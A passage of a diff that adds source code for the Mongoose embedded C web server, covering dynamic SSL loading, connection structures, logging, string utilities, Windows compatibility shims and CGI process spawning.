+#define	SSL_connect(x)	(* (int (*)(SSL *)) ssl_sw[2].ptr)(x)
+#define	SSL_read(x,y,z)	(* (int (*)(SSL *, void *, int)) 		\
+				ssl_sw[3].ptr)((x),(y),(z))
+#define	SSL_write(x,y,z) (* (int (*)(SSL *, const void *,int))		\
+				ssl_sw[4].ptr)((x), (y), (z))
+#define	SSL_get_error(x,y)(* (int (*)(SSL *, int)) ssl_sw[5])((x), (y))
+#define	SSL_set_fd(x,y)	(* (int (*)(SSL *, SOCKET)) ssl_sw[6].ptr)((x), (y))
+#define	SSL_new(x)	(* (SSL * (*)(SSL_CTX *)) ssl_sw[7].ptr)(x)
+#define	SSL_CTX_new(x)	(* (SSL_CTX * (*)(SSL_METHOD *)) ssl_sw[8].ptr)(x)
+#define	SSLv23_server_method()	(* (SSL_METHOD * (*)(void)) ssl_sw[9].ptr)()
+#define	SSL_library_init() (* (int (*)(void)) ssl_sw[10].ptr)()
+#define	SSL_CTX_use_PrivateKey_file(x,y,z)	(* (int (*)(SSL_CTX *, \
+		const char *, int)) ssl_sw[11].ptr)((x), (y), (z))
+#define	SSL_CTX_use_certificate_file(x,y,z)	(* (int (*)(SSL_CTX *, \
+		const char *, int)) ssl_sw[12].ptr)((x), (y), (z))
+#define SSL_CTX_set_default_passwd_cb(x,y) \
+	(* (void (*)(SSL_CTX *, mg_callback_t)) ssl_sw[13].ptr)((x),(y))
+#define SSL_CTX_free(x) (* (void (*)(SSL_CTX *)) ssl_sw[14].ptr)(x)
+
+#define CRYPTO_num_locks() (* (int (*)(void)) crypto_sw[0].ptr)()
+#define CRYPTO_set_locking_callback(x)					\
+		(* (void (*)(void (*)(int, int, const char *, int)))	\
+	 	crypto_sw[1].ptr)(x)
+#define CRYPTO_set_id_callback(x)					\
+	(* (void (*)(unsigned long (*)(void))) crypto_sw[2].ptr)(x)
+
+/*
+ * set_ssl_option() function updates this array.
+ * It loads SSL library dynamically and changes NULLs to the actual addresses
+ * of respective functions. The macros above (like SSL_connect()) are really
+ * just calling these functions indirectly via the pointer.
+ */
+static struct ssl_func	ssl_sw[] = {
+	{"SSL_free",			NULL},
+	{"SSL_accept",			NULL},
+	{"SSL_connect",			NULL},
+	{"SSL_read",			NULL},
+	{"SSL_write",			NULL},
+	{"SSL_get_error",		NULL},
+	{"SSL_set_fd",			NULL},
+	{"SSL_new",			NULL},
+	{"SSL_CTX_new",			NULL},
+	{"SSLv23_server_method",	NULL},
+	{"SSL_library_init",		NULL},
+	{"SSL_CTX_use_PrivateKey_file",	NULL},
+	{"SSL_CTX_use_certificate_file",NULL},
+	{"SSL_CTX_set_default_passwd_cb",NULL},
+	{"SSL_CTX_free",		NULL},
+	{NULL,				NULL}
+};
+
+/*
+ * Similar array as ssl_sw. These functions could be located in different lib.
+ */
+static struct ssl_func	crypto_sw[] = {
+	{"CRYPTO_num_locks",		NULL},
+	{"CRYPTO_set_locking_callback",	NULL},
+	{"CRYPTO_set_id_callback",	NULL},
+	{NULL,				NULL}
+};
+
+/*
+ * Month names
+ */
+static const char *month_names[] = {
+	"Jan", "Feb", "Mar", "Apr", "May", "Jun",
+	"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
+};
+
+/*
+ * Unified socket address. For IPv6 support, add IPv6 address structure
+ * in the union u.
+ */
+struct usa {
+	socklen_t len;
+	union {
+		struct sockaddr	sa;
+		struct sockaddr_in sin;
+	} u;
+};
+
+/*
+ * Specifies a string (chunk of memory).
+ * Used to traverse comma separated lists of options.
+ */
+struct vec {
+	const char	*ptr;
+	size_t		len;
+};
+
+/*
+ * Structure used by mg_stat() function. Uses 64 bit file length.
+ */
+struct mgstat {
+	bool_t		is_directory;	/* Directory marker		*/
+	int64_t		size;		/* File size			*/
+	time_t		mtime;		/* Modification time		*/
+};
+
+struct mg_option {
+	const char	*name;
+	const char	*description;
+	const char	*default_value;
+	int		index;
+	enum mg_error_t (*setter)(struct mg_context *, const char *);
+};
+
+/*
+ * Numeric indexes for the option values in context, ctx->options
+ */
+enum mg_option_index {
+	OPT_ROOT, OPT_INDEX_FILES, OPT_PORTS, OPT_DIR_LIST, OPT_CGI_EXTENSIONS,
+	OPT_CGI_INTERPRETER, OPT_CGI_ENV, OPT_SSI_EXTENSIONS, OPT_AUTH_DOMAIN,
+	OPT_AUTH_GPASSWD, OPT_AUTH_PUT, OPT_ACCESS_LOG, OPT_ERROR_LOG,
+	OPT_SSL_CERTIFICATE, OPT_ALIASES, OPT_ACL, OPT_UID, OPT_PROTECT,
+	OPT_SERVICE, OPT_HIDE, OPT_ADMIN_URI, OPT_MAX_THREADS, OPT_IDLE_TIME,
+	OPT_MIME_TYPES,
+	NUM_OPTIONS
+};
+
+/*
+ * Structure used to describe listening socket, or socket which was
+ * accept()-ed by the master thread and queued for future handling
+ * by the worker thread.
+ */
+struct socket {
+	SOCKET		sock;		/* Listening socket		*/
+	struct usa	lsa;		/* Local socket address		*/
+	struct usa	rsa;		/* Remote socket address	*/
+	bool_t		is_ssl;		/* Is socket SSL-ed		*/
+};
+
+/*
+ * Mongoose context
+ */
+struct mg_context {
+	int		stop_flag;	/* Should we stop event loop	*/
+	SSL_CTX		*ssl_ctx;	/* SSL context			*/
+
+	struct socket	listeners[MAX_LISTENING_SOCKETS];
+	int		num_listeners;
+	char		*options[NUM_OPTIONS];
+	mg_callback_t	callbacks[NUM_EVENTS];
+
+	int		num_threads;	/* Number of threads		*/
+	int		num_idle;	/* Number of idle threads	*/
+
+	pthread_mutex_t	mutex;		/* Protects (max|num)_threads	*/
+	pthread_rwlock_t rwlock;	/* Protects options, callbacks	*/
+	pthread_cond_t	thr_cond;	/* Condvar for thread sync	*/
+
+	struct socket	queue[20];	/* Accepted sockets		*/
+	int		sq_head;	/* Head of the socket queue	*/
+	int		sq_tail;	/* Tail of the socket queue	*/
+	pthread_cond_t	empty_cond;	/* Socket queue empty condvar	*/
+	pthread_cond_t	full_cond;	/* Socket queue full condvar	*/
+};
+
+/*
+ * Client connection.
+ */
+struct mg_connection {
+	struct mg_request_info	request_info;
+	struct mg_context *ctx;		/* Mongoose context we belong to*/
+	SSL		*ssl;		/* SSL descriptor		*/
+	struct socket	client;		/* Connected client		*/
+	time_t		birth_time;	/* Time connection was accepted	*/
+	bool_t		free_post_data;	/* post_data was malloc-ed	*/
+	int64_t		num_bytes_sent;	/* Total bytes sent to client	*/
+};
+
+/*
+ * Print error message to the opened error log stream.
+ */
+static void
+cry(struct mg_connection *conn, const char *fmt, ...)
+{
+	char		buf[BUFSIZ];
+	mg_callback_t	log_callback;
+	enum mg_error_t	processed = MG_ERROR;
+	va_list		ap;
+	FILE		*fp;
+	time_t		timestamp;
+
+	va_start(ap, fmt);
+	(void) vsnprintf(buf, sizeof(buf), fmt, ap);
+	va_end(ap);
+
+	/*
+	 * Do not lock when getting the callback value, here and below.
+	 * I suppose this is fine, since function cannot disappear in the
+	 * same way string option can.
+	 */
+	log_callback = conn->ctx->callbacks[MG_EVENT_LOG];
+	conn->request_info.log_message = buf;
+	if (log_callback != NULL)
+		processed = log_callback(conn, &conn->request_info);
+	if (processed == MG_ERROR) {
+		(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+		fp = conn->ctx->options[OPT_ERROR_LOG] == NULL ? stderr :
+			mg_fopen(conn->ctx->options[OPT_ERROR_LOG], "a+");
+		(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+		if (fp != NULL) {
+			flockfile(fp);
+			timestamp = time(NULL);
+
+			(void) fprintf(fp,
+			    "[%010lu] [error] [client %s] ",
+			    (unsigned long) timestamp,
+			    inet_ntoa(conn->client.rsa.u.sin.sin_addr));
+
+			if (conn->request_info.request_method != NULL)
+				(void) fprintf(fp, "%s %s: ",
+				    conn->request_info.request_method,
+				    conn->request_info.uri);
+
+			(void) fprintf(fp, "%s", buf);
+			fputc('\n', fp);
+			funlockfile(fp);
+			(void) fclose(fp);
+		}
+	}
+	conn->request_info.log_message = NULL;
+}
+
+/*
+ * Return fake connection structure. Used for logging, if connection
+ * is not applicable at the moment of logging.
+ */
+static struct mg_connection *
+fc(struct mg_context *ctx)
+{
+	static struct mg_connection fake_connection;
+	fake_connection.ctx = ctx;
+	return (&fake_connection);
+}
+
+const char *
+mg_version(void)
+{
+	return ("\"" MONGOOSE_VERSION ", $Rev: 517 $\"");
+}
+
+static void
+mg_strlcpy(register char *dst, register const char *src, size_t n)
+{
+	for (; *src != '\0' && n > 1; n--)
+		*dst++ = *src++;
+	*dst = '\0';
+}
+
+static int
+lowercase(const char *s)
+{
+	return (tolower(* (unsigned char *) s));
+}
+
+static int
+mg_strncasecmp(const char *s1, const char *s2, size_t len)
+{
+	int	diff = 0;
+
+	if (len > 0)
+		do {
+			diff = lowercase(s1++) - lowercase(s2++);
+		} while (diff == 0 && s1[-1] != '\0' && --len > 0);
+
+	return (diff);
+}
+
+static int
+mg_strcasecmp(const char *s1, const char *s2)
+{
+	int	diff;
+
+	do {
+		diff = lowercase(s1++) - lowercase(s2++);
+	} while (diff == 0 && s1[-1] != '\0');
+
+	return (diff);
+}
+
+static char *
+mg_strndup(const char *ptr, size_t len)
+{
+	char	*p;
+
+	if ((p = (char *) malloc(len + 1)) != NULL)
+		mg_strlcpy(p, ptr, len + 1);
+
+	return (p);
+
+}
+
+static char *
+mg_strdup(const char *str)
+{
+	return (mg_strndup(str, strlen(str)));
+}
+
+/*
+ * Like snprintf(), but never returns negative value, or the value
+ * that is larger than a supplied buffer.
+ * Thanks to Adam Zeldis to pointing snprintf()-caused vulnerability
+ * in his audit report.
+ */
+static int
+mg_vsnprintf(struct mg_connection *conn,
+		char *buf, size_t buflen, const char *fmt, va_list ap)
+{
+	int	n;
+
+	if (buflen == 0)
+		return (0);
+
+	n = vsnprintf(buf, buflen, fmt, ap);
+
+	if (n < 0) {
+		cry(conn, "vsnprintf error");
+		n = 0;
+	} else if (n >= (int) buflen) {
+		cry(conn, "truncating vsnprintf buffer: [%.*s]",
+		    n > 200 ? 200 : n, buf);
+		n = (int) buflen - 1;
+	}
+	buf[n] = '\0';
+
+	return (n);
+}
+
+static int
+mg_snprintf(struct mg_connection *conn,
+		char *buf, size_t buflen, const char *fmt, ...)
+{
+	va_list	ap;
+	int	n;
+
+	va_start(ap, fmt);
+	n = mg_vsnprintf(conn, buf, buflen, fmt, ap);
+	va_end(ap);
+
+	return (n);
+}
+
+/*
+ * Convert string representing a boolean value to a boolean value
+ */
+static bool_t
+is_true(const char *str)
+{
+	static const char	*trues[] = {"1", "yes", "true", "ja", NULL};
+	int			i;
+
+	for (i = 0; trues[i] != NULL; i++)
+		if (str != NULL && mg_strcasecmp(str, trues[i]) == 0)
+			return (TRUE);
+
+	return (FALSE);
+}
+
+/*
+ * Skip the characters until one of the delimiters characters found.
+ * 0-terminate resulting word. Skip the rest of the delimiters if any.
+ * Advance pointer to buffer to the next word. Return found 0-terminated word.
+ */
+static char *
+skip(char **buf, const char *delimiters)
+{
+	char	*p, *begin_word, *end_word, *end_delimiters;
+
+	begin_word = *buf;
+	end_word = begin_word + strcspn(begin_word, delimiters);
+	end_delimiters = end_word + strspn(end_word, delimiters);
+
+	for (p = end_word; p < end_delimiters; p++)
+		*p = '\0';
+
+	*buf = end_delimiters;
+
+	return (begin_word);
+}
+
+/*
+ * Return HTTP header value, or NULL if not found.
+ */
+static const char *
+get_header(const struct mg_request_info *ri, const char *name)
+{
+	int	i;
+
+	for (i = 0; i < ri->num_headers; i++)
+		if (!mg_strcasecmp(name, ri->http_headers[i].name))
+			return (ri->http_headers[i].value);
+
+	return (NULL);
+}
+
+const char *
+mg_get_header(const struct mg_connection *conn, const char *name)
+{
+	return (get_header(&conn->request_info, name));
+}
+
+/*
+ * A helper function for traversing comma separated list of values.
+ * It returns a list pointer shifted to the next value, of NULL if the end
+ * of the list found.
+ * Value is stored in val vector. If value has form "x=y", then eq_val
+ * vector is initialized to point to the "y" part, and val vector length
+ * is adjusted to point only to "x".
+ */
+static const char *
+next_option(const char *list, struct vec *val, struct vec *eq_val)
+{
+	if (list == NULL || *list == '\0') {
+		/* End of the list */
+		list = NULL;
+	} else {
+		val->ptr = list;
+		if ((list = strchr(val->ptr, ',')) != NULL) {
+			/* Comma found. Store length and shift the list ptr */
+			val->len = list - val->ptr;
+			list++;
+		} else {
+			/* This value is the last one */
+			list = val->ptr + strlen(val->ptr);
+			val->len = list - val->ptr;
+		}
+
+		if (eq_val != NULL) {
+			/*
+			 * Value has form "x=y", adjust pointers and lengths
+			 * so that val points to "x", and eq_val points to "y".
+			 */
+			eq_val->len = 0;
+			eq_val->ptr = memchr(val->ptr, '=', val->len);
+			if (eq_val->ptr != NULL) {
+				eq_val->ptr++;  /* Skip over '=' character */
+				eq_val->len = val->ptr + val->len - eq_val->ptr;
+				val->len = (eq_val->ptr - val->ptr) - 1;
+			}
+		}
+	}
+
+	return (list);
+}
+
+#if !(defined(NO_CGI) && defined(NO_SSI))
+/*
+ * Verify that given file has certain extension
+ */
+static bool_t
+match_extension(const char *path, const char *ext_list)
+{
+	struct vec	ext_vec;
+	size_t		path_len;
+
+	path_len = strlen(path);
+
+	while ((ext_list = next_option(ext_list, &ext_vec, NULL)) != NULL)
+		if (ext_vec.len < path_len &&
+		    mg_strncasecmp(path + path_len - ext_vec.len,
+			    ext_vec.ptr, ext_vec.len) == 0)
+			return (TRUE);
+
+	return (FALSE);
+}
+#endif /* !(NO_CGI && NO_SSI) */
+
+/*
+ * Send error message back to the client.
+ */
+static void
+send_error(struct mg_connection *conn, int status, const char *reason,
+		const char *fmt, ...)
+{
+	char		buf[BUFSIZ];
+	va_list		ap;
+	int		len;
+	mg_callback_t	error_handler;
+	bool_t		handled;
+
+	DEBUG_TRACE((DEBUG_MGS_PREFIX "%s: %d %s", __func__, status, reason));
+	conn->request_info.status_code = status;
+
+	error_handler = conn->ctx->callbacks[MG_EVENT_HTTP_ERROR];
+	handled = error_handler ?
+	    error_handler(conn, &conn->request_info) : FALSE;
+
+	if (handled == FALSE) {
+		buf[0] = '\0';
+		len = 0;
+
+		/* Errors 1xx, 204 and 304 MUST NOT send a body */
+		if (status > 199 && status != 204 && status != 304) {
+			len = mg_snprintf(conn, buf, sizeof(buf),
+			    "Error %d: %s\n", status, reason);
+			cry(conn, "%s", buf);
+
+			va_start(ap, fmt);
+			len += mg_vsnprintf(conn, buf + len, sizeof(buf) - len,
+			    fmt, ap);
+			va_end(ap);
+			conn->num_bytes_sent = len;
+		}
+
+		(void) mg_printf(conn,
+		    "HTTP/1.1 %d %s\r\n"
+		    "Content-Type: text/plain\r\n"
+		    "Content-Length: %d\r\n"
+		    "Connection: close\r\n"
+		    "\r\n%s", status, reason, len, buf);
+	}
+}
+
+#ifdef _WIN32
+static int
+pthread_mutex_init(pthread_mutex_t *mutex, void *unused)
+{
+	unused = NULL;
+	*mutex = CreateMutex(NULL, FALSE, NULL);
+	return (*mutex == NULL ? -1 : 0);
+}
+
+static int
+pthread_mutex_destroy(pthread_mutex_t *mutex)
+{
+	return (CloseHandle(*mutex) == 0 ? -1 : 0);
+}
+
+static int
+pthread_mutex_lock(pthread_mutex_t *mutex)
+{
+	return (WaitForSingleObject(*mutex, INFINITE) == WAIT_OBJECT_0? 0 : -1);
+}
+
+static int
+pthread_mutex_unlock(pthread_mutex_t *mutex)
+{
+	return (ReleaseMutex(*mutex) == 0 ? -1 : 0);
+}
+
+static int
+pthread_cond_init(pthread_cond_t *cv, const void *unused)
+{
+	unused = NULL;
+	*cv = CreateEvent(NULL, FALSE, FALSE, NULL);
+	return (*cv == NULL ? -1 : 0);
+}
+
+static int
+pthread_cond_timedwait(pthread_cond_t *cv, pthread_mutex_t *mutex,
+	const struct timespec *ts)
+{
+	DWORD	status;
+	DWORD	msec = INFINITE;
+	time_t	now;
+	
+	if (ts != NULL) {
+		now = time(NULL);
+		msec = 1000 * (now > ts->tv_sec ? 0 : ts->tv_sec - now);
+	}
+
+	(void) ReleaseMutex(*mutex);
+	status = WaitForSingleObject(*cv, msec);
+	(void) WaitForSingleObject(*mutex, INFINITE);
+	
+	return (status == WAIT_OBJECT_0 ? 0 : -1);
+}
+
+static int
+pthread_cond_wait(pthread_cond_t *cv, pthread_mutex_t *mutex)
+{
+	return (pthread_cond_timedwait(cv, mutex, NULL));
+}
+
+static int
+pthread_cond_signal(pthread_cond_t *cv)
+{
+	return (SetEvent(*cv) == 0 ? -1 : 0);
+}
+
+static int
+pthread_cond_destroy(pthread_cond_t *cv)
+{
+	return (CloseHandle(*cv) == 0 ? -1 : 0);
+}
+
+static pthread_t
+pthread_self(void)
+{
+	return (GetCurrentThreadId());
+}
+
+/*
+ * Change all slashes to backslashes. It is Windows.
+ */
+static void
+fix_directory_separators(char *path)
+{
+	int	i;
+
+	for (i = 0; path[i] != '\0'; i++) {
+		if (path[i] == '/')
+			path[i] = '\\';
+		/* i > 0 check is to preserve UNC paths, \\server\file.txt */
+		if (path[i] == '\\' && i > 0)
+			while (path[i + 1] == '\\' || path[i + 1] == '/')
+				(void) memmove(path + i + 1,
+				    path + i + 2, strlen(path + i + 1));
+	}
+}
+
+/*
+ * Encode 'path' which is assumed UTF-8 string, into UNICODE string.
+ * wbuf and wbuf_len is a target buffer and its length.
+ */
+static void
+to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len)
+{
+	char	buf[FILENAME_MAX], *p;
+
+	mg_strlcpy(buf, path, sizeof(buf));
+	fix_directory_separators(buf);
+
+	/* Point p to the end of the file name */
+	p = buf + strlen(buf) - 1;
+
+	/* Trim trailing backslash character */
+	while (p > buf && *p == '\\' && p[-1] != ':')
+		*p-- = '\0';
+
+	/*
+	 * Protect from CGI code disclosure.
+	 * This is very nasty hole. Windows happily opens files with
+	 * some garbage in the end of file name. So fopen("a.cgi    ", "r")
+	 * actually opens "a.cgi", and does not return an error!
+	 */
+	if (*p == 0x20 ||               /* No space at the end */
+	    (*p == 0x2e && p > buf) ||  /* No '.' but allow '.' as full path */
+	    *p == 0x2b ||               /* No '+' */
+	    (*p & ~0x7f)) {             /* And generally no non-ascii chars */
+		(void) fprintf(stderr, "Rejecting suspicious path: [%s]", buf);
+		buf[0] = '\0';
+	}
+
+	(void) MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, (int) wbuf_len);
+}
+
+#if defined(_WIN32_WCE)
+
+static time_t
+time(time_t *ptime)
+{
+	time_t		t;
+	SYSTEMTIME	st;
+	FILETIME	ft;
+
+	GetSystemTime(&st);
+	SystemTimeToFileTime(&st, &ft);
+	t = SYS2UNIX_TIME(ft.dwLowDateTime, ft.dwHighDateTime);
+
+	if (ptime != NULL)
+		*ptime = t;
+
+	return (t);
+}
+
+static time_t
+mktime(struct tm *ptm)
+{
+	SYSTEMTIME	st;
+	FILETIME	ft, lft;
+
+	st.wYear = ptm->tm_year + 1900;
+	st.wMonth = ptm->tm_mon + 1;
+	st.wDay = ptm->tm_mday;
+	st.wHour = ptm->tm_hour;
+	st.wMinute = ptm->tm_min;
+	st.wSecond = ptm->tm_sec;
+	st.wMilliseconds = 0;
+
+	SystemTimeToFileTime(&st, &ft);
+	LocalFileTimeToFileTime(&ft, &lft);
+	return (time_t)((MAKEUQUAD(lft.dwLowDateTime, lft.dwHighDateTime) -
+	    EPOCH_DIFF) / RATE_DIFF);
+}
+
+static struct tm *
+localtime(const time_t *ptime, struct tm *ptm)
+{
+	int64_t	t = ((int64_t)*ptime) * RATE_DIFF + EPOCH_DIFF;
+	FILETIME	ft, lft;
+	SYSTEMTIME	st;
+	TIME_ZONE_INFORMATION	tzinfo;
+
+	if (ptm == NULL)
+		return NULL;
+
+	* (int64_t *) &ft = t;
+	FileTimeToLocalFileTime(&ft, &lft);
+	FileTimeToSystemTime(&lft, &st);
+	ptm->tm_year = st.wYear - 1900;
+	ptm->tm_mon = st.wMonth - 1;
+	ptm->tm_wday = st.wDayOfWeek;
+	ptm->tm_mday = st.wDay;
+	ptm->tm_hour = st.wHour;
+	ptm->tm_min = st.wMinute;
+	ptm->tm_sec = st.wSecond;
+	ptm->tm_yday = 0; // hope nobody uses this
+	ptm->tm_isdst = ((GetTimeZoneInformation(&tzinfo) ==
+	    TIME_ZONE_ID_DAYLIGHT) ? 1 : 0);
+
+	return ptm;
+}
+
+static size_t
+strftime(char *dst, size_t dst_size, const char *fmt, const struct tm *tm)
+{
+	(void) snprintf(dst, dst_size, "implement strftime() for WinCE");
+	return (0);
+}	
+#endif
+
+static int
+mg_rename(const char* oldname, const char* newname)
+{
+	wchar_t	woldbuf[FILENAME_MAX];
+	wchar_t	wnewbuf[FILENAME_MAX];
+
+	to_unicode(oldname, woldbuf, ARRAY_SIZE(woldbuf));
+	to_unicode(newname, wnewbuf, ARRAY_SIZE(wnewbuf));
+
+	return (MoveFileW(woldbuf, wnewbuf) ? 0 : -1);
+}
+
+
+static FILE *
+mg_fopen(const char *path, const char *mode)
+{
+	wchar_t	wbuf[FILENAME_MAX], wmode[20];
+
+	to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
+	MultiByteToWideChar(CP_UTF8, 0, mode, -1, wmode, ARRAY_SIZE(wmode));
+
+	return (_wfopen(wbuf, wmode));
+}
+
+static int
+mg_stat(const char *path, struct mgstat *stp)
+{
+	int				ok = -1; /* Error */
+	wchar_t				wbuf[FILENAME_MAX];
+	WIN32_FILE_ATTRIBUTE_DATA	info;
+
+	to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
+
+	if (GetFileAttributesExW(wbuf, GetFileExInfoStandard, &info) != 0) {
+		stp->size = MAKEUQUAD(info.nFileSizeLow, info.nFileSizeHigh);
+		stp->mtime = SYS2UNIX_TIME(info.ftLastWriteTime.dwLowDateTime,
+		    info.ftLastWriteTime.dwHighDateTime);
+		stp->is_directory =
+		    info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
+		ok = 0;  /* Success */
+	}
+
+	return (ok);
+}
+
+static int
+mg_remove(const char *path)
+{
+	wchar_t	wbuf[FILENAME_MAX];
+
+	to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
+
+	return (DeleteFileW(wbuf) ? 0 : -1);
+}
+
+static int
+mg_mkdir(const char *path, int mode)
+{
+	char	buf[FILENAME_MAX];
+	wchar_t	wbuf[FILENAME_MAX];
+
+	mode = 0; /* Unused */
+	mg_strlcpy(buf, path, sizeof(buf));
+	fix_directory_separators(buf);
+
+	(void) MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, sizeof(wbuf));
+
+	return (CreateDirectoryW(wbuf, NULL) ? 0 : -1);
+}
+
+/*
+ * Implementation of POSIX opendir/closedir/readdir for Windows.
+ */
+static DIR *
+opendir(const char *name)
+{
+	DIR	*dir = NULL;
+	wchar_t	wpath[FILENAME_MAX];
+	DWORD attrs;
+
+	if (name == NULL) {
+		SetLastError(ERROR_BAD_ARGUMENTS);
+	} else if ((dir = (DIR *) malloc(sizeof(*dir))) == NULL) {
+		SetLastError(ERROR_NOT_ENOUGH_MEMORY);
+	} else {
+		to_unicode(name, wpath, ARRAY_SIZE(wpath));
+		attrs = GetFileAttributesW(wpath);
+		if (attrs != 0xFFFFFFFF &&
+		    ((attrs & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)) {
+			(void) wcscat(wpath, L"\\*");
+			dir->handle = FindFirstFileW(wpath, &dir->info);
+			dir->result.d_name[0] = '\0';
+		} else {
+			free(dir);
+			dir = NULL;
+		}
+	}
+
+	return (dir);
+}
+
+static int
+closedir(DIR *dir)
+{
+	int result = 0;
+
+	if (dir != NULL) {
+		if (dir->handle != INVALID_HANDLE_VALUE)
+			result = FindClose(dir->handle) ? 0 : -1;
+
+		free(dir);
+	} else {
+		result = -1;
+		SetLastError(ERROR_BAD_ARGUMENTS);
+	}
+
+	return (result);
+}
+
+struct dirent *
+readdir(DIR *dir)
+{
+	struct dirent *result = 0;
+
+	if (dir) {
+		if (dir->handle != INVALID_HANDLE_VALUE) {
+			result = &dir->result;
+			(void) WideCharToMultiByte(CP_UTF8, 0,
+			    dir->info.cFileName, -1, result->d_name,
+			    sizeof(result->d_name), NULL, NULL);
+
+			if (!FindNextFileW(dir->handle, &dir->info)) {
+				(void) FindClose(dir->handle);
+				dir->handle = INVALID_HANDLE_VALUE;
+			}
+
+		} else {
+			SetLastError(ERROR_FILE_NOT_FOUND);
+		}
+	} else {
+		SetLastError(ERROR_BAD_ARGUMENTS);
+	}
+
+	return (result);
+}
+
+#define	set_close_on_exec(fd)	/* No FD_CLOEXEC on Windows */
+
+static int
+start_thread(struct mg_context *ctx, mg_thread_func_t func, void *param)
+{
+	HANDLE	hThread;
+
+	ctx = NULL;	/* Unused */
+	
+	hThread = CreateThread(NULL, 0,
+	    (LPTHREAD_START_ROUTINE) func, param, 0, NULL);
+
+	if (hThread != NULL)
+		(void) CloseHandle(hThread);
+
+	return (hThread == NULL ? -1 : 0);
+}
+
+static HANDLE
+dlopen(const char *dll_name, int flags)
+{
+	wchar_t	wbuf[FILENAME_MAX];
+
+	flags = 0; /* Unused */
+	to_unicode(dll_name, wbuf, ARRAY_SIZE(wbuf));
+
+	return (LoadLibraryW(wbuf));
+}
+
+#if !defined(NO_CGI)
+static int
+kill(pid_t pid, int sig_num)
+{
+	(void) TerminateProcess(pid, sig_num);
+	(void) CloseHandle(pid);
+	return (0);
+}
+
+static pid_t
+spawn_process(struct mg_connection *conn, const char *prog, char *envblk,
+		char *envp[], int fd_stdin, int fd_stdout, const char *dir)
+{
+	HANDLE	me;
+	char	*p, *interp, cmdline[FILENAME_MAX], line[FILENAME_MAX];
+	FILE	*fp;
+	STARTUPINFOA		si;
+	PROCESS_INFORMATION	pi;
+
+	envp = NULL; /* Unused */
+
+	(void) memset(&si, 0, sizeof(si));
+	(void) memset(&pi, 0, sizeof(pi));
+
+	/* XXX redirect CGI errors to the error log file */
+	si.cb		= sizeof(si);
+	si.dwFlags	= STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
+	si.wShowWindow	= SW_HIDE;
+
+	me = GetCurrentProcess();
+	(void) DuplicateHandle(me, (HANDLE) _get_osfhandle(fd_stdin), me,
+	    &si.hStdInput, 0, TRUE, DUPLICATE_SAME_ACCESS);
+	(void) DuplicateHandle(me, (HANDLE) _get_osfhandle(fd_stdout), me,
+	    &si.hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS);
+
+	/* If CGI file is a script, try to read the interpreter line */
+	(void) pthread_rwlock_rdlock(&conn->ctx->rwlock);
+	interp = conn->ctx->options[OPT_CGI_INTERPRETER];
+	if (interp == NULL) {
+		line[2] = '\0';
+		(void) mg_snprintf(conn, cmdline, sizeof(cmdline), "%s%c%s",
+		    dir, DIRSEP, prog);
+		if ((fp = fopen(cmdline, "r")) != NULL) {
+			(void) fgets(line, sizeof(line), fp);
+			if (memcmp(line, "#!", 2) != 0)
+				line[2] = '\0';
+			/* Trim whitespaces from interpreter name */
+			for (p = &line[strlen(line) - 1]; p > line &&
+			    isspace(*p); p--)
+				*p = '\0';
+			(void) fclose(fp);
+		}
+		interp = line + 2;
+	}
+
+	if ((p = (char *) strrchr(prog, '/')) != NULL)
+		prog = p + 1;
+
+	(void) mg_snprintf(conn, cmdline, sizeof(cmdline), "%s%s%s",
+	    interp, interp[0] == '\0' ? "" : " ", prog);
+	(void) pthread_rwlock_unlock(&conn->ctx->rwlock);
+
+	(void) mg_snprintf(conn, line, sizeof(line), "%s", dir);
+	fix_directory_separators(line);
+
+	DEBUG_TRACE((DEBUG_MGS_PREFIX "%s: Running [%s]", __func__, cmdline));
+	if (CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
+	    CREATE_NEW_PROCESS_GROUP, envblk, line, &si, &pi) == 0) {
+		cry(conn, "%s: CreateProcess(%s): %d",
+		    __func__, cmdline, ERRNO);
+		pi.hProcess = (pid_t) -1;
+	} else {
+		(void) close(fd_stdin);
+		(void) close(fd_stdout);
+	}
+
+	(void) CloseHandle(si.hStdOutput);
+	(void) CloseHandle(si.hStdInput);
+	(void) CloseHandle(pi.hThread);
+
+	return ((pid_t) pi.hProcess);
+}
+
+static int
+pipe(int *fds)
+{
+	return (_pipe(fds, BUFSIZ, _O_BINARY));
+}
+#endif /* !NO_CGI */
+
+static int
+set_non_blocking_mode(struct mg_connection *conn, SOCKET sock)
+{
+	unsigned long	on = 1;
+
+	conn = NULL; /* unused */
+	return (ioctlsocket(sock, FIONBIO, &on));
+}
+
+#else
+
+static int
+mg_stat(const char *path, struct mgstat *stp)
+{
+	struct stat	st;
+	int		ok;
+
+	if (stat(path, &st) == 0) {
+		ok = 0;
+		stp->size = st.st_size;
+		stp->mtime = st.st_mtime;
+		stp->is_directory = S_ISDIR(st.st_mode);
+	} else {
+		ok = -1;
+	}
+
+	return (ok);
+}
+
+static void
+set_close_on_exec(int fd)
+{
+	(void) fcntl(fd, F_SETFD, FD_CLOEXEC);
+}
+
+static int
+start_thread(struct mg_context *ctx, mg_thread_func_t func, void *param)
+{
+	pthread_t	thread_id;
+	pthread_attr_t	attr;
+	int		retval;
+
+	(void) pthread_attr_init(&attr);
+	(void) pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
+	(void) pthread_attr_setstacksize(&attr,
+		       	sizeof(struct mg_connection) * 2);
+
+
+	if ((retval = pthread_create(&thread_id, &attr, func, param)) != 0)
+		cry(fc(ctx), "%s: %s", __func__, strerror(retval));
+
+	return (retval);
+}
+
+#ifndef NO_CGI
+static pid_t
+spawn_process(struct mg_connection *conn, const char *prog, char *envblk,
+		char *envp[], int fd_stdin, int fd_stdout, const char *dir)
+{
+	pid_t		pid;
+	const char	*interp;
+
+	envblk = NULL;	/* unused */
+
+	if ((pid = fork()) == -1) {
